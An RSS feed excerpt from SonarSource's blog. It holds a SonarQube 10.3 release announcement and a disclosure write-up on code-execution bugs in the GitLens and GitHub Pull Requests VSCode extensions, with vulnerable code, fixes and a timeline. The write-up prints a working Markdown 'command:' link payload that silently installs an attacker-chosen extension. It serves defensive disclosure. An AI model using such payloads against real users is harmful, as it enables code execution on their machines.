Git Integrations&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SonarQube 10.3 Release Announcement]]></title><description><![CDATA[The new SonarQube 10.3 release is out now, including Secrets Detection at the Source, Clean Code Taxonomy & Clean as You Code Updates, Automate Provisioning GitHub Projects and Teams, 2023 CWE Top 25 Report, the Blazor Framework, and Stronger Security.
]]></description><link>https://www.sonarsource.com/blog/sonarqube-10-3-release-announcement</link><guid isPermaLink="false">ca17445f-5ae7-5a61-b766-ad3ab7162e6c</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Wed, 15 Nov 2023 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sonar is excited to bring you the latest SonarQube release with significant security enhancements and new Clean Code changes.&lt;/p&gt;&lt;h3&gt;Highlights of the SonarQube 10.3 release… &lt;/h3&gt;&lt;h4&gt;Secrets Detection at the Source&lt;/h4&gt;&lt;p&gt;Sonar’s new Secrets Detection engine helps you find and eliminate secrets at the source in your IDE with SonarLint and further prevents them from entering your CI/CD Pipeline with SonarQube. For Enterprise Edition users and above, you can protect your private company secrets with custom rules.&lt;/p&gt;&lt;h4&gt;Clean Code Taxonomy Updates&lt;/h4&gt;&lt;p&gt;Changes to Pull Requests, External Issues, propagation of new rules, and improvements to Quality Profile inheritance together help turn your attention toward the cause of poorly written code and not the result, reducing confusion and simplifying the experience of issue resolution.&lt;/p&gt;&lt;h4&gt;Clean as You Code Improvements&lt;/h4&gt;&lt;p&gt;Avoid the headache of cleaning legacy code by cleaning only new code. We are introducing a new zero issues Sonar way Quality Gate that prevents any issues from entering your newly developed code. With the new Sonar way Quality Gate, being able to open an issue in the IDE from SonarQube for quick issue resolution, and resolving external issues in SonarQube, introducing any new technical debt to your projects will be a thing of the past. As a side benefit, over time, you will also realize a reduced technical debt in your legacy code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://community.sonarsource.com/t/introducing-new-clean-as-you-code-criteria/&quot;&gt;Learn more about Clean as You Code criteria&lt;/a&gt; and the new Sonar way Quality Gate.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Stronger Security&lt;/h4&gt;&lt;p&gt;Along with our new Secrets Detection engine, we’ve added the new 2023 CWE top 25 Report for performing risk assessment. There is now a two-way sync of issue status with the GitLab Vulnerability report. Enhanced support for Dockerfiles and a few other security issues deliver more robust security capabilities to you.&lt;/p&gt;&lt;h4&gt;Easy Onboarding&lt;/h4&gt;&lt;p&gt;For users of GitHub, we now auto-provision a SonarQube project when an analysis is triggered in GitHub. You can automate GitHub project setup via API. Manual sync of users, permissions, and groups between SonarQube and GitHub is no longer needed because auto-sync has been added, so SonarQube will always match your GitHub configuration.&lt;/p&gt;&lt;h4&gt;Operational Improvements &amp;amp; Language Updates&lt;/h4&gt;&lt;p&gt;There are quite a few changes in both operational improvements and language updates. Some highlights include upgrade change messaging to see precisely why your issue count has changed after an upgrade, first-class support for React, Razor templates, the Blazor framework, and new rules for NumPy and Pandas libraries in Python for Data Scientists and Machine Learning practitioners.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For more details, see the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-3/&quot;&gt;10.3 release announcement&lt;/a&gt; and our product &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;10.3 release notes&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;Are you still on an older SonarQube version?&lt;strong&gt; &lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTS before upgrading to 10.3. Check out this helpful &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;checklist&lt;/a&gt; for a smoother upgrade. Watch the &lt;a href=&quot;https://www.sonarsource.com/resources/webinars/ace-your-sonarqube-upgrade/&quot;&gt;on-demand LTS upgrade webinar&lt;/a&gt; highlighting a step-by-step approach and common pitfalls encountered during the upgrade. &lt;/p&gt;&lt;h4&gt;SonarQube is a DevOps Dozen finalist! &lt;/h4&gt;&lt;p&gt;Share your love for SonarQube — &lt;a href=&quot;https://www.surveymonkey.com/r/DevOpsDozen2023&quot;&gt;cast your vote&lt;/a&gt; for SonarQube in the Best Testing/Service Tool category for the DevOps Dozen Awards. Voting closes on December 31st. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Visual Studio Code Security: Markdown Vulnerabilities in Third-Party Extensions (2/3)]]></title><description><![CDATA[We took a look at the security of the most popular code editor, Visual Studio Code! This blog post covers vulnerabilities our researchers discovered in third-party extensions.]]></description><link>https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions</link><guid isPermaLink="false">9d0bf0dc-a3ba-53e7-9324-ec9d22acff64</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 14 Nov 2023 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;Last week&amp;#x27;s blog post&lt;/a&gt; summarized our DEF CON talk &amp;quot;Visual Studio Code Is Why I Have (Workspace) Trust Issues&amp;quot;. We presented common attack surfaces of the popular code editor Visual Studio Code (VSCode) and showed examples for each of them, either found by us or by other researchers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When looking at a vulnerability that used a special &lt;code&gt;command:&lt;/code&gt; link to trigger certain actions, we were intrigued and investigated further. After not finding a vulnerability related to those links in VSCode itself, we turned to third-party extensions that have millions of users themselves.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we present code vulnerabilities we found in &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens&quot;&gt;GitLens&lt;/a&gt; (27 million installs) and &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github&quot;&gt;GitHub Pull Requests and Issues&lt;/a&gt; (15 million installs). We will first give some background on VSCode internals, then explain the vulnerable portions of the code, and finally show how these issues can be prevented.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We found and responsibly disclosed three vulnerabilities in the code of third-party VSCode extensions, two in &lt;em&gt;GitLens&lt;/em&gt; by GitKraken and one in &lt;em&gt;GitHub Pull Requests and Issues&lt;/em&gt; by GitHub:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;GitLens: Git local configuration leading to Arbitrary Code Execution (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46944&quot;&gt;CVE-2023-46944&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;GitLens: Markdown Injection leading to Arbitrary Code Execution (CVE pending)&lt;/li&gt;&lt;li&gt;GitHub Pull Requests and Issues: Markdown injection leading to Remote Code Execution (&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36867&quot;&gt;CVE-2023-36867&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All three vulnerabilities are fixed. The affected versions are &lt;em&gt;GitLens&lt;/em&gt; before version 14.0.0 and &lt;em&gt;GitHub Pull Requests and Issues&lt;/em&gt; before version 0.66.2. The latter one is pre-installed in GitHub Codespaces and on github.dev, GitHub&amp;#x27;s web version of VSCode.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Fortunately, VSCode updates extensions automatically by default, so most users are expected to be safe as of now. If in doubt, you can always double-check which version you use by going to the &lt;em&gt;Extensions&lt;/em&gt; tab in VSCode&amp;#x27;s sidebar, searching for the respective extension, and clicking on the entry to see the extension&amp;#x27;s details, including the version number.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All three vulnerabilities require some interaction from the victim of the attack. The first GitLens issue (CVE-2023-46944) requires the user to open a malicious folder in VSCode. The second GitLens issue requires the user to click on a certain UI element that appears when opening an untrusted repository in VSCode. The third issue requires the user to click on a certain UI element that is shown based on a malicious GitHub issue or pull request.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both GitLens vulnerabilities can be exploited in untrusted workspaces, bypassing the &lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/#workspace-trust&quot;&gt;Workspace Trust security boundary&lt;/a&gt; of VSCode. The third vulnerability can only be triggered in trusted workspaces, but since attackers can abuse it remotely to attack maintainers of open-source projects, the victims are likely to trust their own projects, allowing the attack to be successful.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In 2021, we found a vulnerability in VSCode that is related to local Git configurations. You can read the details &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;in our blog post from back then&lt;/a&gt;, but it boils down to the fact that running the &lt;code&gt;git&lt;/code&gt; executable on untrusted repositories is inherently unsafe because repositories can have their own local configuration that will override the global or user config. Since there are quite some settings that allow to specify custom commands that should be run when certain events occur, it is pretty straightforward to turn this into arbitrary code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The recommended fix is to avoid running &lt;code&gt;git&lt;/code&gt; on untrusted repos, for example by disabling the entire Git integration in untrusted VSCode workspaces. VSCode implemented this fix for the built-in Git integration, but what about third-party extensions that also use Git?&lt;/p&gt;&lt;h3&gt;GitLens: Git Local Configuration Leads to Code Execution (CVE-2023-46944)&lt;/h3&gt;&lt;p&gt;GitLens is an extension developed by GitKraken and has 27 million installs at the time of writing this article. It offers additional features on top of what the built-in Git support of VSCode can do and aims to ease the lives of developers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We noticed that it would also run in untrusted workspaces, which is a sign to take a closer look at the extension&amp;#x27;s security. If it uses files or data from the untrusted workspace in a security-sensitive way then attackers could use it to bypass the Workspace Trust boundary.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After observing that GitLens indeed runs &lt;code&gt;git&lt;/code&gt; commands in the directory of the workspace, we tried our original payload that also worked for VSCode in 2021. As you can see, history repeats itself:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/WlSi-SV6cjs&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This would allow attackers to execute arbitrary code on the victim&amp;#x27;s system once a malicious repo is opened in VSCode. After this quick finding, we thought about other VSCode research we&amp;#x27;ve seen in the past and how it could be applicable to third-party extensions such as GitLens.&lt;/p&gt;&lt;h3&gt;GitLens: Markdown Injection Leads to Arbitrary Code Execution&lt;/h3&gt;&lt;p&gt;In our previous blog post, we covered several attack surfaces of VSCode, including Cross-Site Scripting (XSS). One example of an XSS vulnerability in VSCode was &lt;a href=&quot;https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m&quot;&gt;CVE-2022-41034&lt;/a&gt;, discovered by &lt;a href=&quot;https://twitter.com/zemnmez&quot;&gt;Thomas Shadwell&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The initial entry point was to include arbitrary HTML in Markdown cells of Jupyter Notebooks. But to go from there to full-blown code execution, he took a different path than other researchers before him. While others would use the usual web attacks of finding and exploiting cross-origin messaging handlers to hijack more privileged origins, he found a way to go straight for code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;His magic ingredient was auto-clicking a &lt;code&gt;command:&lt;/code&gt; link. These links are used throughout VSCode to let the user trigger actions with a click. There are hundreds of these commands, and they can trigger all kinds of actions, from toggling UI elements to starting a debugging session. Even third-party extensions can register new actions that can then be triggered by the user or by other extensions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After reading Thomas&amp;#x27; work, we realized that a big portion of VSCode&amp;#x27;s UI is just based on Markdown. As an example, an extension can show a custom popup when the user hovers over a piece of code by listening for such an event and supplying a Markdown string with the information that should be shown:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;vscode.languages.registerHoverProvider(&apos;javascript&apos;, {
  provideHover(document, position, token) {
    return {
      contents: [new vscode.MarkdownString(&apos;# Hover **Content**&apos;)]
    };
  }
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is exactly what GitLens does to show detailed information about a Git commit. When a user hovers over the inline blame information that GitLens adds to the currently focused line of code, a popup appears. It lists details such as the commit&amp;#x27;s author, the commit message, and a per-line diff of the changes:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5bdeab1b-379a-4d7e-87e5-15574825dd65/gitlens-hover-popup.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s take a look at the code that creates this view:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gitkraken/vscode-gitlens/blob/9fdb50644b99ebbead2ac66b5a3f51b7d185a1c4/src/hovers/hovers.ts%20#L23-L141&quot;&gt;src/hovers/hovers.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function changesMessage(/* ... */) /* ... */ {
  // ...
  current = `[$(git-commit) ${commit.shortSha}](${ShowQuickCommitCommand.getMarkdownCommandArgs(commit.sha)} &quot;Show Commit&quot;)`;
  // ...
  message = `${diff}\n---\n\nChanges${previous ?? &apos; added in &apos;}${current} &amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp; ${message}`;
  const markdown = new MarkdownString(message, true);
  // ...
  return markdown;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we can see, GitLens creates a Markdown string by interpolating information from Git into a Markdown template. GitLens also uses &lt;code&gt;command:&lt;/code&gt; links, for example, to give the user the ability to open a diff of the whole file. To allow the use of &lt;code&gt;command:&lt;/code&gt; links, GitLens sets the &lt;code&gt;isTrusted&lt;/code&gt; property of the resulting Markdown string to &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gitkraken/vscode-gitlens/blob/9fdb50644b99ebbead2ac66b5a3f51b7d185a1c4/src/hovers/hovers.ts#L137-L140&quot;&gt;src/hovers/hovers.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const markdown = new MarkdownString(message, true);
markdown.supportHtml = true;
markdown.isTrusted = true;
return markdown;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is required because VSCode sanitizes Markdown strings during rendering and will discard &lt;code&gt;command:&lt;/code&gt; links from non-trusted strings. But since it is set to true here, attackers could try to somehow insert malicious command links that could trigger unsafe actions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking at how the line diff is generated, we can see that the previous and the current content of the line of code is interpolated into a Markdown code block:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gitkraken/vscode-gitlens/blob/9fdb50644b99ebbead2ac66b5a3f51b7d185a1c4/src/hovers/hovers.ts#L283-L291&quot;&gt;src/hovers/hovers.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function getDiffFromHunkLine(hunkLine) {
  // ...
  return `\`\`\`diff${
      hunkLine.previous == null ? &apos;&apos; : `\n- ${hunkLine.previous.line.trim()}`
    }${
      hunkLine.current == null ? &apos;&apos; : `\n+ ${hunkLine.current.line.trim()}`
    }\n\`\`\``;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is no Markdown sanitization happening, but the content is inside a code block that does not allow usage of other Markdown until the code block is closed. All that is needed to escape the code block is to insert a closing code fence consisting of three backticks (&lt;code&gt;```&lt;/code&gt;). The closing code fence is required to be at the beginning of a line and the user-controlled content is prefixed with either a plus or a minus sign to make it valid diff syntax. But GitLens only shows the diff for a single line, so how can the three backticks be at the beginning of a line?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking at how the Markdown parser determines the start of a line, we can observe that it recognizes the line feed character (&lt;code&gt;\n&lt;/code&gt;), the carriage return character (&lt;code&gt;\r&lt;/code&gt;), and the combination of both (&lt;code&gt;\r\n&lt;/code&gt;) as the separator of two lines. However, GitLens only recognizes the line feed character (&lt;code&gt;\n&lt;/code&gt;) to be a line separator:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/73832a56-f89e-4f37-8061-2035b8d20a72/gitlens-newline-parser-diff.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This creates a parsing difference that attackers can abuse to inject Markdown. By placing a &lt;code&gt;\r&lt;/code&gt; character into a line, they can make GitLens include it in the line diff string. When the Markdown renderer of VSCode encounters the &lt;code&gt;\r&lt;/code&gt;, it will treat it as a line separator, putting the following three backticks in a new line. This will end the code block and allow the attacker to include arbitrary Markdown:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c8bfaea8-ead2-477f-9a10-4bdf1dee6ce3/gitlens-newline-parser-diff-2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacker can now add arbitrary Markdown to the hover popup. To show that this is security-sensitive, the attacker can insert a Markdown link that points to a &lt;code&gt;command:&lt;/code&gt; URL and triggers a VSCode action when clicked.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the original research that inspired us to dig more into this type of bug, the researcher used the command that opens a new terminal inside VSCode. It is possible to specify the executable and arguments that will be run in the terminal, but this command is only available in trusted workspaces. Since our scenario tries to bypass Workspace Trust, it has to be usable in untrusted workspaces.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking through the long list of available commands, we found it to be possible to trigger the installation of an arbitrary extension from the VSCode marketplace using the &lt;code&gt;workbench.extensions.installExtension&lt;/code&gt; command. It takes the extension&amp;#x27;s ID in a query parameter and will then install and activate the extension.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The VSCode marketplace is available to everyone and publishing extensions is very easy. There is no manual review process, so new extensions can be installed by anyone within minutes after the extension is published.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows attackers to publish a malicious extension and then use the install command to run the install and run the malicious extension on the victim&amp;#x27;s machine. We created a &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=pspaul.pop-a-calc&quot;&gt;dummy extension&lt;/a&gt; to show the successful execution of arbitrary commands by popping a calculator:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/COxceiGz1ws&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After finding this vulnerability, we continued to look through VSCode&amp;#x27;s marketplace to find more extensions that use attacker-controlled data unsafely when building Markdown UI elements.&lt;/p&gt;&lt;h3&gt;GitHub Pull Requests and Issues: Markdown Injection Leads to Code Execution (CVE-2023-36867)&lt;/h3&gt;&lt;p&gt;This extension, made by GitHub, allows its users to manage issues and pull requests of their projects directly from their IDE. This includes viewing the description of those, which are typically use Markdown for rich-text features:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8c4d8fd2-04c4-496b-bae1-6cfb9105c22c/github-issue-example.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid Markdown injection, the GitHub extension first renders the raw description to text:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/vscode-pull-request-github/blob/v0.66.0/src/issues/util.ts#L225-L227&quot;&gt;src/issues/util.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;let body = marked.parse(issue.body, {
    renderer: new PlainTextRenderer(),
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This consumes the special Markdown character sequences and only outputs the actual content. But there is an issue with this: if the actual content still contains Markdown sequences, they will then be rendered by VSCode!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A simple example of this is a code block. As we already learned previously, the text between code fences is treated as raw text. All special Markdown characters and sequences are put into the output verbatim.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can abuse this by creating a GitHub issue that contains a Markdown code block, that in turn contains a Markdown link with a &lt;code&gt;command:&lt;/code&gt; URL:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;```plain
# [Click here](command:workbench.extensions.installExtension?[&quot;pspaul.pop-a-calc&quot;,{&quot;donotSync&quot;:true}])
```&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On GitHub&amp;#x27;s web interface, such a description would be rendered as follows:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8e97440f-b0c0-4907-8821-4807ab04810c/github-issue-markdown.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the GitHub Pull Requests and Issues extension consumes the surrounding code fence during the plaintext rendering pass and causes the Markdown link to be rendered:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5d1fa16f-fedb-4b50-9e11-19566e7e2cb3/github-malicious-popup.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the victim views the issue using the VSCode extension and clicks on the link, the attacker-controlled extension will be installed and run. The impact of this vulnerability can be considered Remote Code Execution because attackers can create a GitHub issue or PR to target the maintainers of the project without requiring the victim to download and open malicious files.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/KFQndFXWYqc&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;h4&gt;GitLens&lt;/h4&gt;&lt;p&gt;When we reported the two issues to GitLens, they were already aware of the Git local config issue and were already planning to disable the Git integration for untrusted workspaces. This also prevents the second issue from being exploitable, since no attacker-controlled commit information will be shown in the UI when the integration is turned off.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we mentioned earlier, not executing any Git commands in untrusted repos is the safest approach. Git has a lot of complexity, so trying to prevent just the exploitable behaviors is bound to fail. Additionally, Git is still being developed, so new features would have to be considered as soon as they are released.&lt;/p&gt;&lt;h4&gt;GitHub Pull Requests and Issues &lt;/h4&gt;&lt;p&gt;GitHub fixed the vulnerability in their extension by not setting the &lt;code&gt;isTrusted&lt;/code&gt; property on their created Markdown strings:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  const markdown: vscode.MarkdownString = new vscode.MarkdownString(undefined, true);
- markdown.isTrusted = true;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is of course the safest option but it also prevents the developers from using &lt;code&gt;command:&lt;/code&gt; links. If you really need to use them in your Markdown, you can set the &lt;code&gt;isTrusted&lt;/code&gt; property to a list of allowed commands. This will prevent attackers from using arbitrary commands in case they find a way to inject Markdown. You can find more information on this in the &lt;a href=&quot;https://code.visualstudio.com/api/references/vscode-api#MarkdownString&quot;&gt;VSCode docs&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid the underlying Markdown injection, make sure to always validate, sanitize, or escape data before using it to construct Markdown. A good way to do this in VSCode is to use the &lt;a href=&quot;https://code.visualstudio.com/api/references/vscode-api#MarkdownString&quot;&gt;&lt;code&gt;MarkdownString&lt;/code&gt; class&lt;/a&gt; that features the &lt;code&gt;appendText&lt;/code&gt; function that properly escapes raw text before appending it.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;h3&gt;GitLens&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-06-07&lt;/td&gt;&lt;td&gt;We report the two vulnerabilities to GitLens&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-06-07&lt;/td&gt;&lt;td&gt;We get an automated acceptance response from GitLens&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-06-15&lt;/td&gt;&lt;td&gt;GitLens releases version 14.0.0 that prevents the vulnerable behavior in untrusted workspaces&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-13&lt;/td&gt;&lt;td&gt;We notice the GitLens release and ask for CVEs and an update from GitLens&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-13&lt;/td&gt;&lt;td&gt;We get another automated acceptance response from GitLens&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-15&lt;/td&gt;&lt;td&gt;We get a ticket reference from GitLens, stating they are looking into it&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-01&lt;/td&gt;&lt;td&gt;GitLens awards us with a $100 bug bounty for the Markdown issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-03&lt;/td&gt;&lt;td&gt;CVE-2023-46944 is assigned by MITRE&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;GitHub Pull Requests and Issues&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-06-12&lt;/td&gt;&lt;td&gt;We report the vulnerability in GitHub Pull Requests and Issues to Microsoft&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-06-16&lt;/td&gt;&lt;td&gt;Microsoft confirms the issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-11&lt;/td&gt;&lt;td&gt;CVE-2023-36867 is assigned by Microsoft&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-14&lt;/td&gt;&lt;td&gt;Microsoft releases a fix in version 0.66.2 of GitHub Pull Requests and Issues&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we took a look at the security of some third-party Visual Studio Code extensions. We saw three vulnerabilities in extensions with millions of installs, all of which have interesting attack vectors that require user interaction to be exploited. We also learned how Markdown is used to create many parts of VSCode&amp;#x27;s UI, and what risks this has.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next week, we will finish our series on Visual Studio Code with some new vulnerabilities in VSCode itself. Stay tuned!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 